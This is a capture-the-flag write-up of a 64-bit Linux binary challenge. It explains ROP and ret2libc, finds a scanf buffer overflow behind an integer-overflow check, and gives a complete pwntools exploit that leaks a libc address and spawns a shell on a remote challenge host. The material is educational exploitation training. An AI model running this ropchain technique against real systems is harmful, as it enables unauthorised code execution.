Binaries analysis
controller
We start by executing the file
command on the two executables that were provided:
1
2
$ file controller
controller: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=e5746004163bf77994992a4c4e3c04565a7ad5d6, not stripped
controller
is an ELF 64-bit, so an executable for 64-bit Unix-like operating systems. It is dynamically linked, which means that the LIBC is not directly incorporated into the binary. Finally, it is not stripped
so it contains symbols, which will allow us to debug and decompile it more easily.
By using checksec
, we notice that the stack is not executable (NX is enabled), and that the FULL RELRO is active. Therefore, it will not be possible to overwrite the content of “data” sections (.got
, .plt
or even .fini_array
as we did in the previous challenge):
libc.so.6
libc.so.6
is the second binary given to us.
1
2
$ file libc.so.6
libc.so.6: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=ce450eb01a5e5acc7ce7b8c2633b02cc1093339e, for GNU/Linux 3.2.0, with debug_info, not stripped
In general, when a libc.so
file is provided during a CTF, the exploitation of the binary will consist in two phases:
Leaking the addresses of the functions of the Libc (to defeat ASLR)
Exploiting the binary via a Return Oriented Programming technique(ROP) / ret2libc
Small tip: We can execute the LIBC to determine the exact version number and see with which version of gcc
it was compiled:
Return Oriented Programming (ROP)
The NX protection prohibits the existence of memory pages that are both executable and writable. Therefore, writing and executing a shellcode in memory is not possible :/
❓ Question: If we control the execution flow (via a buffer overflow) and cannot use shellcode, what can we execute?
💡 Answer: You can execute code which is already present in memory, such as the LIBC functions for example.
This is the key principle of ret2libc
: if we replace the contents of the RIP / EIP register by the address of the system()
function, and pass the string “/bin/sh
” as an argument … boubidi babidi babidi boo → we get a shell!
Addresses of the
system()
function and of the “/bin/sh
” character string are systematically mapped in memory (because they are present in the LIBC).
Arguments and functions in x86
and x86_64
assembly
The two examples which will follow will be a call of the
setbuf()
function with the contents of the registerEAX
and the value 0 as arguments.
- Giving an argument to a function in a 32-bit architecture requires to put the values on the stack:
push 0x0
push eax
call 0x1234 <setbuf@plt>
- Giving an argument to a function in a 64-bit architecture requires to put the values in registers:
mov rsi, 0x0
mov rdi, eax
call 0x1234 <setbuf@plt>
On Linux, the order of the arguments follows the following register calling convention:
rdi
,rsi
,rdx
,rcx
,r8
andr9
.
❓ Question: Knowing that we cannot write shellcode instructions in memory, how can we place the values of our choice in a register?
💡 Answer: By using gadgets.
Gadgets
In ROP terminology, we call “gadget” one or multiple assembly instructions that end with a ret
.
As Pixis said (translation): “It is true that a binary rarely has the code to launch a shell. It would be too good. However, we can find in one place a piece of code that allows you to do an action, then in another place another piece of code that allows you to do something else, and so on. In this way, by joining together these little bits of instructions, we can finally succeed in doing actions that were not intended by the binary.” (Source: hackndo.com)
This is very well represented by the following schema:
In summary:
- we are able to overwrite the contents of the RIP / EIP register,
- by making successive calls to gadgets we are able to obtain an arbitrary code execution.
A chain of instructions (gadgets) is called a “ropchain”.
❓ Question: How do we find gadgets?
💡 Answer: By using any disassembler (such as objdump
) or specific tools like Ropper or ROPgadget.
Exploitation
1. Understanding how the controller
program works?
The controller
binary works as follows:
The
main()
function calls two functions:welcome()
→ which displays a simple “Control Room” messagecalculator()
(described just after)
The calculator()
function stores the value returned by the calc()
function in a local_c
variable (type int).
If this variable is equal to the hex value 0xff3a (65338 in decimal), the user can enter a message by calling the scanf()
function.
This is where our buffer overflow is located. User input is not checked and it is stored in a 28 character buffer.
Security Recommandation: We should have limited the number of characters via
scanf("%27c", buffer);
.
We can split the calc()
function into two parts:
- Sending two integers which are lower than 0x45 (69 in decimal) via the
scanf()
function - Calling to the
menu()
function to ask the user which operation he wishes to perform _(addition, subtraction, multiplication or division) _.
Calculating the offset
Remember that our goal is to control the flow of execution. This involves exploiting the buffer overflow that we have identified.
As mentioned before, the scanf()
function which generates the buffer overflow is only called if the return of the calc()
function is equal to 65338.
-2147483648
and -2147418310
are both less than 69 and if we add them (choice “1”) we get 65338. Then, if we enter a long character string (in the example below a lot of 'A'
) we can crash the program:
Unlike the previous challenge, there is no win()
function to call:
Therefore, the goal is to find a way to obtain a shell.
In order to do so, we must:
- retrieve the addresses of
system()
and “/bin/sh
” character string by leaking the stack. - overwrite the value of the RIP register by calling the
system ()
function with “/bin/sh
” (via the use of a ropchain)
We can calculate the offset needed to override the value of RIP with the pattern_create
and pattern_search
commands:
The exact offset is 40.
2. Ropchain, Gadgets & LIBC Addresses Leak
In order to run the controller
binary with the libc.so.6
provided to us and to facilitate the development of our exploit, we can use the tool pwninit
.
When you start to write an exploit, it is good to have a template / skeleton that you can start from. The one I am used to for ROP challenges is the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import pwn
host = "127.0.0.1"
port = 1337
remote = False
binary_path = './vuln'
libc_path = './libc.so.6'
ld_path = './ld-2.27.so'
binary = pwn.ELF(binary_path)
libc = pwn.ELF(libc_path)
rop_binary = pwn.ROP(binary)
if remote:
r = pwn.remote(host,port)
else:
r = pwn.process([ld_path, binary_path], env={"LD_PRELOAD": libc_path})
# Exploit code starts here :)
r.interactive()
r.close()
- We start by coding the lines that allow us to enter the two integers
-2147483648
and-2147418310
, to choose “1” and perform an addition. This will lead us to thescanf()
function:
1
2
r.sendlineafter("Insert the amount of 2 different types of recources:", b"-2147483648 -2147418310")
r.sendlineafter(">", b"1")
- Then we get a gadget
pop rdi; ret
:
1
pop_rdi = (rop_binary.find_gadget(['pop rdi', 'ret']))[0]
- We prepare a first Ropchain to leak the address of the
puts()
function in the libc:
1
2
3
4
5
6
plt_puts = binary.plt['puts']
got_puts = binary.got['puts']
main_addr = binary.symbols['main']
ropchain = buffer + pwn.p64(pop_rdi) + pwn.p64(got_puts) + pwn.p64(plt_puts) + pwn.p64(main_addr)
r.sendlineafter(">", ropchain)
Adding pwn.p64 (main_addr)
to the end of our ropchain is not necessary to get a libc leak. However, we need it to go back to the start of the program and send a second ropchain which will allow us to obtain a shell.
- The leak is present in the second line of the answer so we make two successive calls to
recvline()
The first line of the response displays
Problem ingored
because our buffer does not start with'y' / 'Y'
()
1
2
3
4
r.recvline() # Problem ingored
leak = r.recvline().strip()
puts_addr = pwn.u64(leak.ljust(0x8, b"\x00"))
pwn.info("Puts address: 0x%x" % puts_addr)
- To calculate the base address of the libc, all you have to do is subtract the offset of the
puts()
function in thelibc.so.6
file from the address of theputs()
function that we just leaked:
1
2
libc_base = puts_addr - libc.symbols['puts']
pwn.info("LIBC base: 0x%x" % libc_base)
Now that we have the base address of the LIBC, we will be able to retrieve the addresses of system()
and “/bin/sh
”.
3. Ropchain & ret2libc
- To determine the addresses of
system()
and of “/bin/sh
“, just do the opposite operation: we add the base address of the libc to the offsets ofsystem()
and of “/bin/sh
” in the filelibc.so.6
:
1
2
3
4
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
pwn.info("System address: 0x%x" % system_addr)
pwn.info("'/bin/sh' address: 0x%x" % bin_sh_addr)
- Now we just have to prepare the ropchain which will allow us to obtain the shell:
1
ropchain = buffer + pwn.p64(pop_rdi) + pwn.p64(bin_sh_addr) + pwn.p64(system_addr)
- Using the above payload, I systematically got the error “Got EOF while reading in interactive”.
Finally thanks to this forum, I was able to solve this problem and update the payload:
1
2
3
ret = (rop_binary.find_gadget(['ret']))[0]
ropchain = buffer + pwn.p64(ret) + pwn.p64(pop_rdi) + pwn.p64(bin_sh_addr) + pwn.p64(system_addr)
We end up sending this last ropchain and we use the interactive()
method to interact with the shell:
1
2
3
4
5
6
r.sendlineafter("Insert the amount of 2 different types of recources:", b"-2147483648 -2147418310")
r.sendlineafter(">", b"1")
r.sendlineafter(">", ropchain)
r.interactive()
r.close()
4. Final Exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import pwn
host = "165.227.236.40"
port = 30519
remote = True
binary_path = './controller'
libc_path = './libc.so.6'
ld_path = './ld-2.27.so'
binary = pwn.ELF(binary_path)
libc = pwn.ELF(libc_path)
rop_binary = pwn.ROP(binary)
if remote:
r = pwn.remote(host,port)
else:
r = pwn.process([ld_path, binary_path], env={"LD_PRELOAD": libc_path})
r.sendlineafter("Insert the amount of 2 different types of recources:", b"-2147483648 -2147418310")
r.sendlineafter(">", b"1")
offset = 40
buffer = b"A" * offset
# Leak
pop_rdi = (rop_binary.find_gadget(['pop rdi', 'ret']))[0]
plt_puts = binary.plt['puts']
got_puts = binary.got['puts']
main_addr = binary.symbols['main']
ropchain = buffer + pwn.p64(pop_rdi) + pwn.p64(got_puts) + pwn.p64(plt_puts) + pwn.p64(main_addr)
r.sendlineafter(">", ropchain)
r.recvline() # Problem ingored
leak = r.recvline().strip()
puts_addr = pwn.u64(leak.ljust(0x8, b"\x00"))
pwn.info("Puts address: 0x%x" % puts_addr)
libc_base = puts_addr - libc.symbols['puts']
pwn.info("LIBC base: 0x%x" % libc_base)
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
pwn.info("System address: 0x%x" % system_addr)
pwn.info("'/bin/sh' address: 0x%x" % bin_sh_addr)
ret = (rop_binary.find_gadget(['ret']))[0]
ropchain = buffer + pwn.p64(ret) + pwn.p64(pop_rdi) + pwn.p64(bin_sh_addr) + pwn.p64(system_addr)
r.sendlineafter("Insert the amount of 2 different types of recources:", b"-2147483648 -2147418310")
r.sendlineafter(">", b"1")
r.sendlineafter(">", ropchain)
r.interactive()
r.close()
Useful links
- https://stackoverflow.com/questions/2535989/what-are-the-calling-conventions-for-unix-linux-system-calls-and-user-space-f
- https://github.com/io12/pwninit
- https://book.hacktricks.xyz/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address#3-finding-libc-library
- https://www.dailysecurity.fr/return_oriented_programming/
- https://beta.hackndo.com/return-oriented-programming/#pratique
- https://faraz.faith/2019-09-16-csaw-quals-baby-boi/
- https://reverseengineering.stackexchange.com/questions/21524/receiving-got-eof-while-reading-in-interactive-after-properly-executing-system